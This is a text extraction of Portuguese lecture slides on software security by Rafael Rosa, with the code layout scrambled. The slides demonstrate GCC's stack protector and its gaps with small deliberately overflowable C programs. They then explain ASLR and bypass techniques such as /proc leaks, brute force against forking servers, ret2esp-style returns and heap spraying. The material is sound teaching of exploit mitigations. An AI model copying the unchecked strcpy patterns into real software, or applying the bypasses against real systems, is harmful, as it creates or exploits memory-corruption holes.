  • 232. Stack Protector Estado da arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Estudos desenvolvidos em torno das técnicas de ataque levaram à criação de um mecanismo difícil de ser contornado.  Conta com proteção do endereço de retorno, proteção das variáveis locais, proteção dos argumentos, e proteção do ebp salvo.  O canary é randomizado de modo que não seja facilmente predizível.
  • 233. Stack Protector Estado da arte (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ char buf[8]; int main(int argc, char *argv[]){ int a, b; char buf2[8]; if(argc != 2){ long c; fprintf(stderr, "uso %s <param>n" , argv[0]); printf("str = %pn", &str); return 1; printf("buf = %pn", buf); } printf("a = %pn", &a); printf("b = %pn", &b); func(argv[1]); printf("buf2 = %pn", buf2); printf("c = %pn", &c); printf("fimn"); } strcpy(buf, str); }
  • 234. Stack Protector Proteção desabilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack protector]$ gcc -o stack_protector_ex61 stack_protector_ex6.c [rafael@centos stack protector]$ ./stack_protector_ex61 AAAABBBBCCCCDDDD str = 0xbfffe7f0 buf = 0xbfffe7e0 a = 0xbfffe7dc b = 0xbfffe7d8 buf2 = 0xbfffe7d0 c = 0xbfffe7cc Segmentation fault [rafael@centos stack protector]$
  • 235. Stack Protector Proteção habilitada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex62 stack_protector_ex 6.c [rafael@centos stack protector]$ ./stack_protector_ex62 AAAABBBBCCCCDDDD str = 0xbfffe7c4 buf = 0xbfffe7dc a = 0xbfffe7d0 b = 0xbfffe7cc buf2 = 0xbfffe7d4 c = 0xbfffe7c8 *** stack smashing detected ***: ./stack_protector_ex62 terminated Aborted [rafael@centos stack protector]$
  • 236. Stack Protector A proteção (In)Segurança de Software, Quebrando Códigos - Rafael Rosa stack protector ativado  Valor é comparado ao original no retorno da função e ; prólogo push %ebp movcaso sejam diferentes ostack protectoré detectado e o str %esp,%ebp overflow desativado sub programa termina. $0x38,%esp c mov 0x8(%ebp),%eax c b mov %eax,-0x24(%ebp) a mov %gs:0x14,%eax buf2 mov %eax,-0x4(%ebp) buf2 b ;epílogo a buf mov -0x4(%ebp),%eax xor %gs:0x14,%eax buf je 0x8048530 <func+172> canary call 0x804838c <__stack_chk_fail@plt> ebp ebp leave retaddr retaddr ret str str
  • 237. Stack Protector Problema (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Atrapalha no desempenho do programa.  Proteção aplicada somente à arrays de char.  Array de char deve possuir no mínimo 8 bytes para que a proteção seja aplicada.  Array de char deve possuir no mínimo 8 bytes para que seja reordenado.  Variáveis de structs não são reordenadas.
  • 238. Stack Protector Arrays de não-chars (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); int buf[8]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); int buf2[8]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex7 stack_protector_ex7.c [rafael@centos stack protector]$ ./stack_protector_ex7 str = 0xbfffe810 buf = 0xbfffe7dc a = 0xbfffe804 b = 0xbfffe800 buf2 = 0xbfffe7bc c = 0xbfffe7fc fim [rafael@centos stack protector]$
  • 239. Stack Protector Arrays de não-chars (In)Segurança de Software, Quebrando Códigos - Rafael Rosa buf2 ; prólogo push %ebp buf mov %esp,%ebp sub $0x58,%esp c ;epílogo b leave a ret ebp retaddr str
  • 240. Stack Protector Arrays com menos de 8 elementos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); char buf[7]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); char buf2[7]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex8 stack_protector_ex8.c [rafael@centos stack protector]$ ./stack_protector_ex8 str = 0xbfffe810 buf = 0xbfffe7f5 a = 0xbfffe804 b = 0xbfffe800 buf2 = 0xbfffe7ee c = 0xbfffe7fc fim [rafael@centos stack protector]$
  • 241. Stack Protector Arrays com menos de 8 elementos (In)Segurança de Software, Quebrando Códigos - Rafael Rosa buf2 ; prólogo push %ebp buf mov %esp,%ebp sub $0x28,%esp c ;epílogo b leave a ret ebp retaddr str
  • 242. Stack Protector Não reodenamento de arrays (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf("b = %pn", &b); char buf[7]; printf("buf2 = %pn", buf2); int a, b; printf("c = %pn", &c); char buf2[8]; } long c; int main(int argc, char *argv[]){ printf("str = %pn", &str); func(argv[1]); printf("buf = %pn", buf); printf("fimn"); printf("a = %pn", &a); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex9 stack_protector_ex9.c [rafael@centos stack protector]$ ./stack_protector_ex9 str = 0xbfffe7e4 buf = 0xbfffe7e9 a = 0xbfffe7f8 b = 0xbfffe7f4 buf2 = 0xbfffe7fc c = 0xbfffe7f0 fim [rafael@centos stack protector]$
  • 243. Stack Protector Não reodenamento de arrays (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ; prólogo push %ebp str mov %esp,%ebp sub $0x38,%esp buf mov 0x8(%ebp),%eax mov %eax,-x24(%ebp) c mov %gs:0x14,%eax b mov %eax,-0x4(%ebp) a ;epílogo mov -0x4(%ebp),%eax buf2 xor %gs:0x14,%eax je 0x804849e <func+154> canary call 0x804830c<__stack_chk_fail@plt> ebp leave retaddr ret str
  • 244. Stack Protector Não reodenamento de variáveis em structs (In)Segurança de Software, Quebrando Códigos - Rafael Rosa struct struc{ printf("buf = %pn", buf); char buf[20]; printf("a = %pn", &a); int a; printf("s.buf = %pn", &s.buf); }; printf("s.a = %pn", &s.a); printf("c = %pn", &c); void func(char *str){ } char buf[4]; int a; int main(int argc, char *argv[]){ struct struc s; func(argv[1]); long c; printf("fimn"); printf("str = %pn", &str); } [rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_exA stack_protector_exA.c [rafael@centos stack protector]$ ./stack_protector_exA str = 0xbfffe7d4 buf = 0xbfffe7e8 a = 0xbfffe7e4 s.buf = 0xbfffe7ec s.a = 0xbfffe800 c = 0xbfffe7e0 fim [rafael@centos stack protector]$
  • 245. Stack Protector Não reodenamento de variáveis em structs (In)Segurança de Software, Quebrando Códigos - Rafael Rosa ;prólogo push %ebp str mov %esp,%ebp c sub $0x48,%esp a mov 0x8(%ebp),%eax mov %eax,-x34(%ebp) mov %gs:0x14,%eax buf mov %eax,-0x4(%ebp) s.buf ;epílogo mov -0x4(%ebp),%eax s.a xor %gs:0x14,%eax je 0x80484a1 <func+157> canary call 0x804830c<__stack_chk_fail@plt> ebp leave retaddr ret str
  • 246. Agenda (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 247. ASLR Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Address Space Layout Randomization. Permite o mapeamento de blocos do programa para regiões aleatórias de memória, de modo que o endereço base dos blocos não sejam predizíveis.  O endereço de cada bloco é calculado separadamente, de tal forma que o endereço de cada um não tenha nenhuma relação com os outros.  Os blocos são três: área executável, área mapeada, e área da stack.
  • 248. ASLR Definição (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos aslr]$ cat /proc/self/maps > catmaps1; cat /proc/self/maps > catmaps2 [rafael@centos aslr]$ diff -uNr catmaps1 catmaps2 --- catmaps1 2009-09-16 11:09:29.000000000 -0300 +++ catmaps2 2009-09-16 11:09:31.000000000 -0300 @@ -1,14 +1,14 @@ -00439000-0043a000 r-xp 00439000 00:00 0 [vdso] 00b1c000-00b36000 r-xp 00000000 fd:00 163878 /lib/ld-2.5.so 00b36000-00b37000 r-xp 00019000 fd:00 163878 /lib/ld-2.5.so 00b37000-00b38000 rwxp 0001a000 fd:00 163878 /lib/ld-2.5.so +00b3c000-00b3d000 r-xp 00b3c000 00:00 0 [vdso] 00b3f000-00c7d000 r-xp 00000000 fd:00 166245 /lib/libc-2.5.so 00c7d000-00c7f000 r-xp 0013e000 fd:00 166245 /lib/libc-2.5.so 00c7f000-00c80000 rwxp 00140000 fd:00 166245 /lib/libc-2.5.so 00c80000-00c83000 rwxp 00c80000 00:00 0 08048000-0804d000 r-xp 00000000 fd:00 1474600 /bin/cat 0804d000-0804e000 rw-p 00004000 fd:00 1474600 /bin/cat -09f36000-09f57000 rw-p 09f36000 00:00 0 [heap] -b7d0d000-b7f0d000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive -b7f0d000-b7f0f000 rw-p b7f0d000 00:00 0 -bf963000-bf978000 rw-p bffea000 00:00 0 [stack] +08ca3000-08cc4000 rw-p 08ca3000 00:00 0 [heap] +b7da0000-b7fa0000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive +b7fa0000-b7fa2000 rw-p b7fa0000 00:00 0 +bf871000-bf886000 rw-p bffea000 00:00 0 [stack]
  • 249. ASLR Área executável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Apenas 16 bits são randomizados, do bit 12 ao bit 27 do endereço.
  • 250. ASLR Área mapeada (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  16 bits são randomizados, do bit 12 ao bit 27 do endereço.  Após obtido o endereço base da heap, um offset é gerado randomicamente, de modo a marcar o início da mesma e manter um alinhamento de 64k.
  • 251. ASLR Área da stack (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  16 bits são randomizados, do bit 4 ao bit 27 do endereço.  Após obtido o endereço base da stack, um offset é gerado randomicamente para marcar o início da mesma.
  • 252. ASLR /proc (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sem o conhecimento dos endereços de memória do programa, para onde retornar?  O ASLR dificulta a execução de um ataque, porém para um ataque local: /proc/<pid>/maps ou /proc/<pid>/stat.
  • 253. ASLR Força bruta (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Chamada à fork mantém o mapa de memória do programa intacto.  Em um servidor que bifurca para tratar cada conexão, é possível implementar ataques de força bruta. Caso o payload não ganhe o eip e o programa quebre, o processo pai continua rodando e uma nova conexão pode ser iniciada.
  • 254. ASLR Áreas de memória não randomizadas (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A randomização não precisa ser feita em todas as áreas de memória. Pode haver setores não randomizados.  Pode-se utilizar código da .text ou de bibliotecas compartilhadas para ganhar o controle do eip.  Caso um ponteiro para o payload seja conhecido, pode- se usar instruções do programa ou utilizar dados brutos do mesmo como instruções para chegar à execução do payload. Através de ret2eax, ret2esp, ret2ret, ret2pop.
  • 255. ASLR ret2eax (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload retornado pela função explorada.  Sobrescrever endereço de retorno para executar: jmp eax. vetor de injeção payload &(jmp eax) ... função vulnerável buffer explorado EBP anterior retaddr ... eax
  • 256. ASLR ret2esp (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Função explorada não manipula strings (Não coloca NULL).  Retornar para instrução: jmp [esp]. esp vetor de injeção payload &(jmp esp) ptr buffer função vulnerável buffer explorado EBP anterior retaddr ptr buffer
  • 257. ASLR ret2ret (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Função explorada não manipula strings (Não coloca NULL).  Retornar para instrução: ret. esp vetor de injeção payload &(ret) ptr buffer função vulnerável buffer explorado EBP anterior retaddr ptr buffer
  • 258. ASLR ret2pop (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Payload na stack, acima do endereço de retorno.  Retornar para instrução leave-ret. esp vetor de injeção payload &(leave-ret) 0x00 ptr buffer função vulnerável buffer explorado EBP anterior retaddr ... ptr buffer
  • 259. ASLR Heap Spraying (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Consiste na alocação de grande quantidade de memória da heap.  Payload replicado nesses blocos alocados.  Fazer fluxo do programa retornar para a heap.  Alinhamento da heap aumenta chance de acerto.
  • 260. (In)Segurança de Software, Quebrando Códigos - Rafael Rosa EOF